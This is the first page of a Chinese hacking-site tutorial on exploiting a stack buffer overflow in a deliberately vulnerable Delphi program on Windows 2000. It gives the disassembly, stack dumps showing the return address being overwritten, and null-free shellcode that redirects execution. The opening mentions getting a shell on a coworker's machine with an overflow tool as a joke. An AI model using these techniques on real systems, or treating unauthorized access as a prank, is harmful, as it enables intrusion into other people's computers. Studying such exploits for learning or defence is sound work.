| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
一次Win2k的shell溢出之旅           ★★★ 【字体:
一次Win2k的shell溢出之旅
作者:不详 文章来源:华盟收集 点击数: 更新时间:2008-1-22

    前两天利用sqlhello溢出漏洞工具跟局域网里面的同事开了个玩笑,取得了他win2k的shell,于是乎也想玩一下溢出。首先用Delphi写个有漏洞的程序。

 如果不检查输入字串的长度,哪么输入的字串长度大于变量预定的范围就产生溢出了。

procedure TForm1.Button1Click(Sender: TObject);
var name:array[0..255]of char;
begin
strcopy(name,PChar(Edit1.Text)); //Edit1的内容是256+6个字符,最后6个字符:Hello.
end;

整个过程的代码:
0044F02C   55         PUSH EBP
0044F02D   8BEC         MOV EBP,ESP
0044F02F   81C4 FCFEFFFF   ADD ESP,-104 
0044F035   53         PUSH EBX
0044F036   33C9         XOR ECX,ECX
0044F038   898D FCFEFFFF   MOV DWORD PTR SS:[EBP-104],ECX
0044F03E   8BD8         MOV EBX,EAX
0044F040   33C0         XOR EAX,EAX
0044F042   55         PUSH EBP
0044F043   68 90F04400   PUSH Project1.0044F090
0044F048   64:FF30       PUSH DWORD PTR FS:[EAX]
0044F04B   64:8920       MOV DWORD PTR FS:[EAX],ESP
0044F04E   8D95 FCFEFFFF   LEA EDX,DWORD PTR SS:[EBP-104]
0044F054   8B83 FC020000   MOV EAX,DWORD PTR DS:[EBX+2FC]
0044F05A   E8 DDF3FDFF   CALL Project1.0042E43C
0044F05F   8B85 FCFEFFFF   MOV EAX,DWORD PTR SS:[EBP-104]
0044F065   E8 6652FBFF   CALL Project1.004042D0
0044F06A   8BD0         MOV EDX,EAX
0044F06C   8D85 00FFFFFF   LEA EAX,DWORD PTR SS:[EBP-100]
0044F072   E8 F590FBFF   CALL Project1.0040816C       ==strcopy,将Edit1的文本内容复制到局部变量name中,Delphi的局部变量就在栈中
0044F077   33C0         XOR EAX,EAX
0044F079   5A         POP EDX
0044F07A   59         POP ECX
0044F07B   59         POP ECX
0044F07C   64:8910       MOV DWORD PTR FS:[EAX],EDX
0044F07F   68 97F04400   PUSH Project1.0044F097
0044F084   8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
0044F08A   E8 814DFBFF   CALL Project1.00403E10
0044F08F   C3         RETN
0044F090 ^ E9 7F47FBFF   JMP Project1.00403814
0044F095 ^ EB ED       JMP SHORT Project1.0044F084
0044F097   5B         POP EBX
0044F098   8BE5         MOV ESP,EBP
0044F09A   5D         POP EBP
0044F09B   C3         RETN       ==过程的最后返回点
  执行call 40816c(strcopy)之后,
正常栈内容:
0012F538   0012F97C Pointer to next SEH record
0012F53C   0044F090 SE handler
0012F540   0012F64C
0012F544   00953788
0012F548   00000000
0012F54C   00000000
//...
0012F63C |0000002D
0012F640 |00000002
0012F644 |00403277 RETURN to Project1.00403277 from Project1.004032EC
0012F648 |004280B4 Project1.004280B4
0012F64C ]0012F78C
0012F650 |0042F9D6 RETURN to Project1.0042F9D6       ==这里是函数的正常出口
溢出后:
0012F538   0012F97C Pointer to next SEH record
0012F53C   0044F090 SE handler
0012F540   0012F64C ASCII "Hello." ==溢出了6字节
0012F544   00953788
0012F548   00952594 ASCII ""...
0012F54C   31313131 ==字串开始
//...
0012F63C   35353535
0012F640   35353535
0012F644   36363535
0012F648   36363636
0012F64C   6C6C6548
0012F650   00002E6F ==溢出的内容已经覆盖了返回地址,函数将会返回到2e6f。
  
  好了,现在我们只要把12f650的内容变成12f54c,程序就会返回到我们输入的字符串,然后执行。我们只要精心构造一个字符串放到Edit1中,字符串就成为我们的代码了。输入的字符串要做的工作只是恢复正常的程序流程,工作很简单,有256 个字节的空间足够了。

  主要代码:
  BD 8CF71230   MOV EBP,3012F78C ==代码中不能有00,因为strcopy会认为是00字符串结束,就不能形成溢出了
  C1E5 08       SHL EBP,8       ==用变通的方法生成0012f78c之类的地址,另外f7,c3之类的数据在复制成ASCII
  C1ED 08       SHR EBP,8       ==时会变成?,也要用变通的方法处理一下
  B8 D6F94230   MOV EAX,3042F9D6
  C1E0 08       SHL EAX,8
  C1E8 08       SHR EAX,8
  50         PUSH EAX
  C3         RETN

[1] [2] 下一页

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    小心我“DIR”溢出你!
    med 文件格式堆溢出利用
    教你千千静听的堆溢出
    ActiveX控件溢出获shell
    Discuz6后台拿Shell方法
    Shell脚本初学者的入门
    堆栈溢出入门到高深3
    堆栈溢出入门到高深1
    shell.application漏洞扫描
    对shell对象的漏洞扫描
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号